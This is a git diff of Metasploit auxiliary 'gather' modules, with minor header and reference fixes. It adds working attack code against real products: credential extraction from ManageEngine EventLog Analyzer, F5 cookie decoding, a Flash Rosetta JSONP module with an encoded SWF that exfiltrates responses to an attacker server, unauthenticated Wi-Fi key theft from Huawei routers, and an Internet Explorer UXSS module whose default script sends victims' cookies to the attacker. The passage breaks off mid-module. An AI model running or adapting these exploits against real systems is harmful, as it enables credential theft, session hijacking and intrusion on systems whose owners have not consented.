'Header' => 'ManageEngine EventLog Analyzer Managed Devices Credentials', + 'Indent' => 1, + 'Columns' => + [ + 'Host', + 'Type', + 'SubType', + 'Domain', + 'Username', + 'Password', + ] + ) + + slid_host_ary.each do |host| + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, 'hostdetails'), + 'method' =>'GET', + 'vars_get' => { + 'slid' => host[0], + 'hostid' => host[1] + } + }) + + unless res && res.code == 200 + fail_with(Failure::NotFound, "#{peer} - Failed to reach hostdetails servlet") + end + + begin + doc = REXML::Document.new(res.body) + rescue + fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{res.body.to_s}") + end + + doc.elements.each('Details/Hosts') do |ele| + # Add an empty string if a variable doesn't exist, we have to check it + # somewhere and it's easier to do it here. + host_ipaddress = ele.attributes['host_ipaddress'] || '' + + ele.elements.each('HostDetails') do |details| + domain_name = details.attributes['domain_name'] || '' + username = details.attributes['username'] || '' + password_encoded = details.attributes['password'] || '' + password = decode_password(password_encoded) + type = details.attributes['type'] || '' + subtype = details.attributes['subtype'] || '' + + unless type =~ /Windows/ || subtype =~ /Windows/ + # With AS/400 we get some garbage in the domain name even though it doesn't exist + domain_name = "" + end + + msg = "Got login to #{host_ipaddress} | running " + msg << type << (subtype != '' ? " | #{subtype}" : '') + msg << ' | username: ' + msg << (domain_name != '' ? "#{domain_name}\\#{username}" : username) + msg << " | password: #{password}" + print_good(msg) + + cred_table << [host_ipaddress, type, subtype, domain_name, username, password] + + if type == 'Windows' + service_name = 'epmap' + port = 135 + elsif type == 'IBM AS/400' + service_name = 'as-servermap' + port = 449 + else + next + end + + credential_core = report_credential_core({ + password: password, + username: username, + }) + + host_login_data = { + address: host_ipaddress, + service_name: service_name, + workspace_id: myworkspace_id, + protocol: 'tcp', + port: port, + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + create_credential_login(host_login_data) + end + end + end + + print_line + print_line("#{cred_table}") + loot_name = 'manageengine.eventlog.managed_hosts.creds' + loot_type = 'text/csv' + loot_filename = 'manageengine_eventlog_managed_hosts_creds.csv' + loot_desc = 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credentials' + p = store_loot( + loot_name, + loot_type, + rhost, + cred_table.to_csv, + loot_filename, + loot_desc) + print_status "Credentials saved in: #{p}" + end + + + def report_credential_core(cred_opts={}) + # Set up the has for our Origin service + origin_service_data = { + address: rhost, + port: rport, + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_type: :password, + private_data: cred_opts[:password], + username: cred_opts[:username] + } + + credential_data.merge!(origin_service_data) + create_credential(credential_data) + end +end diff --git a/modules/auxiliary/gather/external_ip.rb b/modules/auxiliary/gather/external_ip.rb index 3469762d8c..5eb3919f80 100644 --- a/modules/auxiliary/gather/external_ip.rb +++ b/modules/auxiliary/gather/external_ip.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb new file mode 100644 index 0000000000..0455124f69 --- /dev/null +++ b/modules/auxiliary/gather/f5_bigip_cookie_disclosure.rb @@ -0,0 +1,125 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'F5 BigIP Backend Cookie Disclosure', + 'Description' => %q{ + This module identifies F5 BigIP load balancers and leaks backend + information through cookies inserted by the BigIP devices. + }, + 'Author' => [ 'Thanat0s <thanspam[at]trollprod.org>' ], + 'References' => + [ + ['URL', 'http://support.f5.com/kb/en-us/solutions/public/6000/900/sol6917.html'], + ['URL', 'http://support.f5.com/kb/en-us/solutions/public/7000/700/sol7784.html?sr=14607726'] + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + OptString.new('TARGETURI', [true, 'The URI path to test', '/']), + OptInt.new('REQUESTS', [true, 'Number of requests to send to disclose back', 10]) + ], self.class) + end + + def change_endianness(value, size=4) + conversion = value + + if size == 4 + conversion = [value].pack("V").unpack("N").first + elsif size == 2 + conversion = [value].pack("v").unpack("n").first + end + + conversion + end + + def cookie_decode(cookie_value) + back_end = "" + + if cookie_value =~ /(\d{8})\.(\d{5})\./ + host = $1.to_i + port = $2.to_i + + host = change_endianness(host) + host = Rex::Socket.addr_itoa(host) + + port = change_endianness(port, 2) + + back_end = "#{host}:#{port}" + end + + back_end + end + + def get_cookie # request a page and extract a F5 looking cookie. + cookie = {} + res = send_request_raw({ + 'method' => 'GET', + 'uri' => @uri + }) + + unless res.nil? + # Get the SLB session ID, like "TestCookie=2263487148.3013.0000" + m = res.get_cookies.match(/([\-\w\d]+)=((?:\d+\.){2}\d+)(?:$|,|;|\s)/) + unless m.nil? + cookie[:id] = (m.nil?) ? nil : m[1] + cookie[:value] = (m.nil?) ? nil : m[2] + end + end + + cookie + end + + def run + unless datastore['REQUESTS'] > 0 + print_error("Please, configure more than 0 REQUESTS") + return + end + + back_ends = [] + @uri = normalize_uri(target_uri.path.to_s) + print_status("#{peer} - Starting request #{@uri}") + + for i in 0...datastore['REQUESTS'] + cookie = get_cookie() # Get the cookie + # If the cookie is not found, stop process + if cookie.empty? || cookie[:id].nil? + print_error("#{peer} - F5 Server load balancing cookie not found") + break + end + + # Print the cookie name on the first request + if i == 0 + print_status("#{peer} - F5 Server load balancing cookie \"#{cookie[:id]}\" found") + end + + back_end = cookie_decode(cookie[:value]) + unless back_ends.include?(back_end) + print_status("#{peer} - Backend #{back_end} found") + back_ends.push(back_end) + end + end + + # Reporting found backends in database + unless back_ends.empty? + report_note( + :host => rhost, + :type => "f5_load_balancer_backends", + :data => back_ends + ) + end + + end +end diff --git a/modules/auxiliary/gather/flash_rosetta_jsonp_url_disclosure.rb b/modules/auxiliary/gather/flash_rosetta_jsonp_url_disclosure.rb new file mode 100644 index 0000000000..81f6e0e5fe --- /dev/null +++ b/modules/auxiliary/gather/flash_rosetta_jsonp_url_disclosure.rb @@ -0,0 +1,202 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'open-uri' +require 'uri' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Flash "Rosetta" JSONP GET/POST Response Disclosure', + 'Description' => %q{ + A website that serves a JSONP endpoint that accepts a custom alphanumeric + callback of 1200 chars can be abused to serve an encoded swf payload that + steals the contents of a same-domain URL. Flash < 14.0.0.145 is required. + + This module spins up a web server that, upon navigation from a user, attempts + to abuse the specified JSONP endpoint URLs by stealing the response from + GET requests to STEAL_URLS. + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Michele Spagnuolo', # discovery, wrote rosetta encoder, disclosure + 'joev' # msf module + ], + 'References' => + [ + ['CVE', '2014-4671'], + ['URL', 'http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/'], + ['URL', 'https://github.com/mikispag/rosettaflash'], + ['URL', 'http://quaxio.com/jsonp_handcrafted_flash_files/'] + ], + 'DisclosureDate' => 'Jul 8 2014', + 'Actions' => [ [ 'WebServer' ] ], + 'PassiveActions' => [ 'WebServer' ], + 'DefaultAction' => 'WebServer')) + + register_options( + [ + OptString.new('CALLBACK', [ true, 'The name of the callback paramater', 'callback' ]), + OptString.new('JSONP_URL', [ true, 'The URL of the vulnerable JSONP endpoint', '' ]), + OptBool.new('CHECK', [ true, 'Check first that the JSONP endpoint works', true ]), + OptString.new('STEAL_URLS', [ true, 'A comma-separated list of URLs to steal', '' ]), + OptString.new('URIPATH', [ true, 'The URI path to serve the exploit under', '/' ]) + ], + self.class) + end + + def run + if datastore['CHECK'] && check == Msf::Exploit::CheckCode::Safe + raise "JSONP endpoint does not allow sufficiently long callback names." + end + + unless datastore['URIPATH'] == '/' + raise "URIPATH must be set to '/' to intercept crossdomain.xml request." + end + + exploit + end + + def check + test_string = Rex::Text.rand_text_alphanumeric(encoded_swf.length) + io = open(exploit_url(test_string)) + if io.read.start_with? test_string + Msf::Exploit::CheckCode::Vulnerable + else + Msf::Exploit::CheckCode::Safe + end + end + + def on_request_uri(cli, request) + vprint_status("Request '#{request.method} #{request.uri}'") + if request.uri.end_with? 'crossdomain.xml' + print_status "Responding to crossdomain request.." + send_response(cli, crossdomain_xml, 'Content-type' => 'text/x-cross-domain-policy') + elsif request.uri.end_with? '.log' + body = URI.decode(request.body) + file = store_loot( + "html", "text/plain", cli.peerhost, body, "flash_jsonp_rosetta", "Exfiltrated HTTP response" + ) + url = body.lines.first.gsub(/.*?=/,'') + print_good "#{body.length} bytes captured from target #{cli.peerhost} on URL:\n#{url}" + print_good "Stored in #{file}" + else + print_status "Serving exploit HTML" + send_response_html(cli, exploit_html) + end + end + + def exploit_url(data_payload) + delimiter = if datastore['JSONP_URL'].include?('?') then '&' else '?' end + "#{datastore['JSONP_URL']}#{delimiter}#{datastore['CALLBACK']}=#{data_payload}" + end + + def exploit_html + ex_url = URI.escape(get_uri.chomp('/')+'/'+Rex::Text.rand_text_alphanumeric(6+rand(20))+'.log') + %Q| + <!doctype html> + <html> + <body> + <object type="application/x-shockwave-flash" data="#{exploit_url(encoded_swf)}" + width=500 height=500> + <param name="FlashVars" + value="url=#{URI.escape datastore['STEAL_URLS']}&exfiltrate=#{ex_url}" /> + </object> + </body> + </html> + | + end + + # Based off of http://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/ + # + # Alphanumeric Flash swf applet that steals URLs. Compiled from the following code: + # + # class X { + # static var app : X; + # + # function getURL(url:String) { + # var r:LoadVars = new LoadVars(); + # r.onData = function(src:String) { + # if (_root.exfiltrate) { + # var w:LoadVars = new LoadVars(); + # w.x = url+"\n"+src; + # w.sendAndLoad(_root.exfiltrate, w, "POST"); + # } + # } + # r.load(url, r, "GET"); + # } + # + # function X(mc) { + # if (_root.url) { + # var urls:Array = _root.url.split(","); + # for (var i in urls) { + # getURL(urls[i]); + # } + # } + # } + # + # // entry point + # static function main(mc) { + # app = new X(mc); + # } + # } + # + # + # Compiling the .as using mtasc and swftool: + # + # > mtasc.exe -swf out.swf -main -header 800:600:20 exploit.as + # $ swfcombine -d out.swf -o out-uncompressed.swf + # $ rosettaflash --input out-uncompressed.swf --output out-ascii.swf + # + def encoded_swf + "CWSMIKI0hCD0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333swW0s" \ + "sG03sDDtDDDt0333333Gt333swwv3wwwFPOHtoHHvwHHFhH3D0Up0IZUnnnnnnnnnnnn" \ + "nnnnnnnUU5nnnnnn3Snn7YNqdIbeUUUfV13333sDT133333333WEDDT13s03WVqefXAx" \ + "oookD8f8888T0CiudIbEAt33swwWpt03sDGDDDwwwtttttwwwGDt33333www033333Gf" \ + "BDRhHHUccUSsgSkKoe5D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7mNqdIbe1" \ + "WUUfV133sUUpDDUUDDUUDTUEDTEDUTUE0GUUD133333333sUEe1sfzA87TLx888znN8t" \ + "8F8fV6v0CiudIbEAtwwWDt03sDG0sDtDDDtwwtGwpttGwwt33333333w0333GDfBDFzA" \ + "HZYqqEHeYAHtHyIAnEHnHNVEJRlHIYqEqEmIVHlqzfjzYyHqQLzEzHVMvnAEYzEVHMHT" \ + "HbB2D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtwuDtDtDDtpDGpD" \ + "DG0sDtwtwDDGDGtGpDDGwG33sptDDDtGDD33333s03sdFPZHyVQflQfrqzfHRBZHAqzf" \ + "HaznQHzIIHljjVEJYqIbAzvyHwXHDHtTToXHGhwXHDhtwXHDHWdHHhHxLHXaFHNHwXHD" \ + "Xt7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7iiudIbEAt333wwE0GDtwpDtD" \ + "DGDGtG033sDDwGpDDGtDt033sDDt3333g3sFPXHLxcZWXHKHGlHLDthHHHLXAGXHLxcG" \ + "XHLdSkhHxvGXHDxskhHHGhHXCWXHEHGDHLTDHmGDHDxLTAcGlHthHHHDhLtSvgXH7D0U" \ + "p0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7YNqdIbeV133333333333333333gF03" \ + "sDeqUfzAoE80CiudIbEAtwwW3sD3w0sDt0wwGDDGpDtptDDtGwwGpDDtDDDGDDD33333" \ + "sG033gFPHHmODHDHttMWhHhVODHDhtTwBHHhHxUHHksSHoHOTHTHHHHtLuWhHXVODHDX" \ + "tlwBHHhHDUHXKscHCHOXHtXnOXH4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn" \ + "7CiudIbEAtwwuwG333spDtDDGDDDt0333st0GGDDt33333www03sdFPlWJoXHgHOTHTH" \ + "HHHtLGwhHxfOdHDx4D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAtu" \ + "wttD333swG0wDDDw03333sDt33333sG03sDDdFPtdXvwhHdLGwhHxhGWwDHdlxXdhvwh" \ + "HdTg7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7CiudIbEAt333swwE03GDtD" \ + "wG0wpDG03sGDDD33333sw033gFPlHtxHHHDxLrkvKwTHLJDXLxAwlHtxHHHDXLjkvKwD" \ + "HDHLZWBHHhHxmHXgGHVHwXHLHA7D0Up0IZUnnnnnnnnnnnnnnnnnnnUU5nnnnnn3Snn7" \ + "CiudIbEAtsWt3wGww03GDttwtDDtDtwDwGDwGDttDDDwDtwwtG0GDtGpDDt33333www0" \ + "33GdFPlHLjDXthHHHLHqeeobHthHHHXDhtxHHHLZafHQxQHHHOvHDHyMIuiCyIYEHWSs" \ + "gHmHKcskHoXHLHwhHHfoXHLhnotHthHHHLXnoXHLxUfH1D0Up0IZUnnnnnnnnnnnnnnn" \ + "nnnnUU5nnnnnn3SnnwWNqdIbe133333333333333333WfF03sTeqefXA888ooo04Cx9" + end + + def crossdomain_xml + %Q| + <?xml version="1.0" ?> + <cross-domain-policy> + <allow-access-from domain="*" /> + </cross-domain-policy> + | + end + + def rhost + URI.parse(datastore["JSONP_URL"]).host + end + +end diff --git a/modules/auxiliary/gather/hp_enum_perfd.rb b/modules/auxiliary/gather/hp_enum_perfd.rb new file mode 100644 index 0000000000..1a51760858 --- /dev/null +++ b/modules/auxiliary/gather/hp_enum_perfd.rb @@ -0,0 +1,88 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + # TODO: figure out what these do: + # o: valid command, takes no args, does nothing + # B, c, F, G, I, M, U, x: all require an "instance id" and possibly other args + ALLOWED_COMMANDS = %w(a A i g l p t T u w Z) + + def initialize + super( + 'Name' => 'HP Operations Manager Perfd Environment Scanner', + 'Description' => %q{ + This module will enumerate the process list of a remote machine by abusing + HP Operation Manager's unauthenticated 'perfd' daemon. + }, + 'Author' => [ 'Roberto Soares Espreto <robertoespreto[at]gmail.com>' ], + 'License' => MSF_LICENSE + ) + + commands_help = ALLOWED_COMMANDS.join(',') + register_options( + [ + Opt::RPORT(5227), + OptString.new("COMMANDS", [true, "Command(s) to execute (one or more of #{commands_help})", commands_help]) + ], self.class) + end + + def commands + datastore['COMMANDS'].split(/[, ]+/).map(&:strip) + end + + def setup + super + if datastore['COMMANDS'] + bad_commands = commands - ALLOWED_COMMANDS + unless bad_commands.empty? + fail ArgumentError, "Bad perfd command(s): #{bad_commands}" + end + end + end + + def run_host(target_host) + begin + + connect + banner_resp = sock.get_once + if banner_resp && banner_resp =~ /^Welcome to the perfd server/ + banner_resp.strip! + print_good("#{target_host}:#{rport}, Perfd server banner: #{banner_resp}") + perfd_service = report_service(host: rhost, port: rport, name: "perfd", proto: "tcp", info: banner_resp) + sock.puts("\n") + + commands.each do |command| + sock.puts("#{command}\n") + Rex.sleep(1) + command_resp = sock.get_once + + loot_name = "HP Ops Agent perfd #{command}" + path = store_loot( + "hp.ops.agent.perfd.#{command}", + 'text/plain', + target_host, + command_resp, + nil, + "HP Ops Agent perfd #{command}", + perfd_service + ) + print_status("#{target_host}:#{rport} - #{loot_name} saved in: #{path}") + end + else + print_error("#{target_host}:#{rport}, Perfd server banner detection failed!") + end + disconnect + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout + rescue Timeout::Error => e + print_error(e.message) + end + end +end diff --git a/modules/auxiliary/gather/hp_snac_domain_creds.rb b/modules/auxiliary/gather/hp_snac_domain_creds.rb index 738045917a..4ff53b0ec7 100644 --- a/modules/auxiliary/gather/hp_snac_domain_creds.rb +++ b/modules/auxiliary/gather/hp_snac_domain_creds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/gather/huawei_wifi_info.rb b/modules/auxiliary/gather/huawei_wifi_info.rb new file mode 100644 index 0000000000..705b020fd5 --- /dev/null +++ b/modules/auxiliary/gather/huawei_wifi_info.rb @@ -0,0 +1,296 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'base64' +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + BASIC_INFO = { + 'Device Name' => /<DeviceName>(.*)<\/DeviceName>/i, + 'Serial Number' => /<SerialNumber>(.*)<\/SerialNumber>/i, + 'IMEI' => /<Imei>(.*)<\/Imei>/i, + 'IMSI' => /<Imsi>(.*)<\/Imsi>/i, + 'ICCID' => /<Iccid>(.*)<\/Iccid>/i, + 'Hardware Version' => /<HardwareVersion>(.*)<\/HardwareVersion>/i, + 'Software Version' => /<SoftwareVersion>(.*)<\/SoftwareVersion>/i, + 'WebUI Version' => /<WebUIVersion>(.*)<\/WebUIVersion>/i, + 'Mac Address1' => /<MacAddress1>(.*)<\/MacAddress1>/i, + 'Mac Address2' => /<MacAddress2>(.*)<\/MacAddress2>/i, + 'Product Family' => /<ProductFamily>(.*)<\/ProductFamily>/i, + 'Classification' => /<Classify>(.*)<\/Classify>/i + } + + WAN_INFO = { + 'Wan IP Address' => /<WanIPAddress>(.*)<\/WanIPAddress>/i, + 'Primary Dns' => /<PrimaryDns>(.*)<\/PrimaryDns>/i, + 'Secondary Dns' => /<SecondaryDns>(.*)<\/SecondaryDns>/i + } + + DHCP_INFO ={ + 'LAN IP Address' => /<DhcpIPAddress>(.*)<\/DhcpIPAddress>/i, + 'DHCP StartIPAddress' => /<DhcpStartIPAddress>(.*)<\/DhcpStartIPAddress>/i, + 'DHCP EndIPAddress' => /<DhcpEndIPAddress>(.*)<\/DhcpEndIPAddress>/i, + 'DHCP Lease Time' => /<DhcpLeaseTime>(.*)<\/DhcpLeaseTime>/i + } + + WIFI_INFO = { + 'Wifi WPA pre-shared key' => /<WifiWpapsk>(.*)<\/WifiWpapsk>/i, + 'Wifi Auth mode' => /<WifiAuthmode>(.*)<\/WifiAuthmode>/i, + 'Wifi Basic encryption modes' => /<WifiBasicencryptionmodes>(.*)<\/WifiBasicencryptionmodes>/i, + 'Wifi WPA Encryption Modes' => /<WifiWpaencryptionmodes>(.*)<\/WifiWpaencryptionmodes>/i, + 'Wifi WEP Key1' => /<WifiWepKey1>(.*)<\/WifiWepKey1>/i, + 'Wifi WEP Key2' => /<WifiWepKey2>(.*)<\/WifiWepKey2>/i, + 'Wifi WEP Key3' => /<WifiWepKey3>(.*)<\/WifiWepKey3>/i, + 'Wifi WEP Key4' => /<WifiWepKey4>(.*)<\/WifiWepKey4>/i, + 'Wifi WEP Key Index' => /<WifiWepKeyIndex>(.*)<\/WifiWepKeyIndex>/i + } + + def initialize(info={}) + super(update_info(info, + 'Name' => "Huawei Datacard Information Disclosure Vulnerability", + 'Description' => %q{ + This module exploits an unauthenticated information disclosure vulnerability in Huawei + SOHO routers. The module will gather information by accessing the /api pages where + authentication is not required, allowing configuration changes as well as information + disclosure, including any stored SMS. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Jimson K James', + 'Tom James <tomsmaily[at]aczire.com>', # Msf module + ], + 'References' => + [ + ['CWE', '425'], + ['CVE', '2013-6031'], + ['US-CERT-VU', '341526'], + ['URL', 'http://www.huaweidevice.co.in/Support/Downloads/'], + ], + 'DisclosureDate' => "Nov 11 2013" )) + + register_options( + [ + Opt::RHOST('mobilewifi.home') + ], self.class) + + end + + # Gather basic router information + def run + get_router_info + print_line('') + get_router_mac_filter_info + print_line('') + get_router_wan_info + print_line('') + get_router_dhcp_info + print_line('') + get_wifi_info + end + + def get_wifi_info + + print_status("#{peer} - Getting WiFi Key details...") + res = send_request_raw( + { + 'method' => 'GET', + 'uri' => '/api/wlan/security-settings', + }) + + unless is_target?(res) + return + end + + resp_body = res.body.to_s + log = '' + + print_status("WiFi Key Details") + + wifi_ssid = get_router_ssid + if wifi_ssid + print_status("WiFi SSID: #{wifi_ssid}") + log << "WiFi SSID: #{wifi_ssid}\n" + end + + WIFI_INFO.each do |k,v| + if resp_body.match(v) + info = $1 + print_status("#{k}: #{info}") + log << "#{k}: #{info}\n" + end + end + + report_note( + :host => rhost, + :type => 'wifi_keys', + :data => log + ) + end + + def get_router_info + + print_status("#{peer} - Gathering basic device information...") + res = send_request_raw( + { + 'method' => 'GET', + 'uri' => '/api/device/information', + }) + + unless is_target?(res) + return + end + + resp_body = res.body.to_s + + print_status("Basic Information") + + BASIC_INFO.each do |k,v| + if resp_body.match(v) + info = $1 + print_status("#{k}: #{info}") + end + end + end + + def get_router_ssid + print_status("#{peer} - Gathering device SSID...") + + res = send_request_raw( + { + 'method' => 'GET', + 'uri' => '/api/wlan/basic-settings', + }) + + # check whether we got any response from server and proceed. + unless is_target?(res) + return nil + end + + resp_body = res.body.to_s + + # Grabbing the Wifi SSID + if resp_body.match(/<WifiSsid>(.*)<\/WifiSsid>/i) + return $1 + end + + nil + end + + def get_router_mac_filter_info + print_status("#{peer} - Gathering MAC filters...") + res = send_request_raw( + { + 'method' => 'GET', + 'uri' => '/api/wlan/mac-filter', + }) + + unless is_target?(res) + return + end + + print_status('MAC Filter Information') + + resp_body = res.body.to_s + + if resp_body.match(/<WifiMacFilterStatus>(.*)<\/WifiMacFilterStatus>/i) + wifi_mac_filter_status = $1 + print_status("Wifi MAC Filter Status: #{(wifi_mac_filter_status == '1') ? 'ENABLED' : 'DISABLED'}" ) + end + + (0..9).each do |i| + if resp_body.match(/<WifiMacFilterMac#{i}>(.*)<\/WifiMacFilterMac#{i}>/i) + wifi_mac_filter = $1 + unless wifi_mac_filter.empty? + print_status("Mac: #{wifi_mac_filter}") + end + end + end + end + + def get_router_wan_info + print_status("#{peer} - Gathering WAN information...") + res = send_request_raw( + { + 'method' => 'GET', + 'uri' => '/api/monitoring/status', + }) + + unless is_target?(res) + return + end + + resp_body = res.body.to_s + + print_status('WAN Details') + + WAN_INFO.each do |k,v| + if resp_body.match(v) + info = $1 + print_status("#{k}: #{info}") + end + end + end + + def get_router_dhcp_info + print_status("#{peer} - Gathering DHCP information...") + res = send_request_raw( + { + 'method' => 'GET', + 'uri' => '/api/dhcp/settings', + }) + + unless is_target?(res) + return + end + + resp_body = res.body.to_s + + print_status('DHCP Details') + + # Grabbing the DhcpStatus + if resp_body.match(/<DhcpStatus>(.*)<\/DhcpStatus>/i) + dhcp_status = $1 + print_status("DHCP: #{(dhcp_status == '1') ? 'ENABLED' : 'DISABLED'}") + end + + unless dhcp_status && dhcp_status == '1' + return + end + + DHCP_INFO.each do |k,v| + if resp_body.match(v) + info = $1 + print_status("#{k}: #{info}") + end + end + end + + def is_target?(res) + # check whether we got any response from server and proceed. + unless res + print_error("#{peer} - Failed to get any response from server") + return false + end + + # Is it a HTTP OK + unless res.code == 200 + print_error("#{peer} - Did not get HTTP 200, URL was not found") + return false + end + + # Check to verify server reported is a Huawei router + unless res.headers['Server'].match(/IPWEBS\/1.4.0/i) + print_error("#{peer} - Target doesn't seem to be a Huawei router") + return false + end + + true + end +end diff --git a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb index f11c345847..e2269fe1bb 100644 --- a/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb +++ b/modules/auxiliary/gather/ibm_sametime_enumerate_users.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -24,6 +24,11 @@ class Metasploit3 < Msf::Auxiliary [ 'kicks4kittens' # Metasploit module ], + 'References' => + [ + [ 'CVE', '2013-3975' ], + [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21671201'] + ], 'DefaultOptions' => { 'SSL' => true diff --git a/modules/auxiliary/gather/ibm_sametime_room_brute.rb b/modules/auxiliary/gather/ibm_sametime_room_brute.rb index cff9af79e1..dd0520d430 100644 --- a/modules/auxiliary/gather/ibm_sametime_room_brute.rb +++ b/modules/auxiliary/gather/ibm_sametime_room_brute.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -23,6 +23,11 @@ class Metasploit3 < Msf::Auxiliary [ 'kicks4kittens' # Metasploit module ], + 'References' => + [ + [ 'CVE', '2013-3977' ], + [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21671201'] + ], 'DefaultOptions' => { 'SSL' => true diff --git a/modules/auxiliary/gather/ibm_sametime_version.rb b/modules/auxiliary/gather/ibm_sametime_version.rb index a8454f211d..59db20b9a3 100644 --- a/modules/auxiliary/gather/ibm_sametime_version.rb +++ b/modules/auxiliary/gather/ibm_sametime_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -70,6 +70,11 @@ class Metasploit3 < Msf::Auxiliary [ 'kicks4kittens' # Metasploit module ], + 'References' => + [ + [ 'CVE', '2013-3982' ], + [ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21671201'] + ], 'DefaultOptions' => { 'SSL' => true diff --git a/modules/auxiliary/gather/ie_uxss_injection.rb b/modules/auxiliary/gather/ie_uxss_injection.rb new file mode 100644 index 0000000000..1a75671ec8 --- /dev/null +++ b/modules/auxiliary/gather/ie_uxss_injection.rb @@ -0,0 +1,156 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpServer + + def initialize(info={}) + super(update_info(info, + 'Name' => "Microsoft Internet Explorer 10 and 11 Cross-Domain JavaScript Injection", + 'Description' => %q{ + This module exploits a universal cross-site scripting (UXSS) vulnerability found in Internet + Explorer 10 and 11. By default, you will steal the cookie from TARGET_URI (which cannot + have X-Frame-Options or it will fail). You can also have your own custom JavaScript + by setting the CUSTOMJS option. Lastly, you might need to configure the URIHOST option if + you are behind NAT. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'David Leo', # Original discovery + 'filedescriptor', # PoC + 'joev', # He figured it out really + 'sinn3r' # MSF + ], + 'References' => + [ + [ 'CVE', '2015-0072' ], + [ 'OSVDB', '117876' ], + [ 'URL', 'http://www.deusen.co.uk/items/insider3show.3362009741042107/'], + [ 'URL', 'http://innerht.ml/blog/ie-uxss.html' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2015/Feb/10' ] + ], + 'Platform' => 'win', + 'DisclosureDate' => "Feb 1 2015" + )) + + register_options( + [ + OptString.new('TARGET_URI', [ true, 'The URL for the target iframe' ]), + OptString.new('CUSTOMJS', [ false, 'Custom JavaScript' ]) + ], self.class) + end + + def setup + if target_uri !~ /^http/i + raise Msf::OptionValidateError.new(['TARGET_URI']) + end + + super + end + + def target_uri + datastore['TARGET_URI'] + end + + def get_html + @html ||= html + end + + def ninja_cookie_stealer_name + @ninja ||= "#{Rex::Text.rand_text_alpha(5)}.php" + end + + def get_uri(cli=self.cli) + ssl = datastore["SSL"] + proto = (ssl ? "https://" : "http://") + if datastore['URIHOST'] + host = datastore['URIHOST'] + elsif (cli and cli.peerhost) + host = Rex::Socket.source_address(cli.peerhost) + else + host = srvhost_addr + end + + if Rex::Socket.is_ipv6?(host) + host = "[#{host}]" + end + + if datastore['URIPORT'] != 0 + port = ':' + datastore['URIPORT'].to_s + elsif (ssl and datastore["SRVPORT"] == 443) + port = '' + elsif (!ssl and datastore["SRVPORT"] == 80) + port = '' + else + port = ":" + datastore["SRVPORT"].to_s + end + + uri = proto + host + port + get_resource + + uri + end + + def server_uri + @server_uri ||= get_uri + end + + def js + datastore['CUSTOMJS'] || %Q|var e = document.createElement('img'); e.src='#{server_uri}/#{ninja_cookie_stealer_name}?data=' + encodeURIComponent(document.cookie);| + end + + def html + %Q| +<iframe style="display:none" 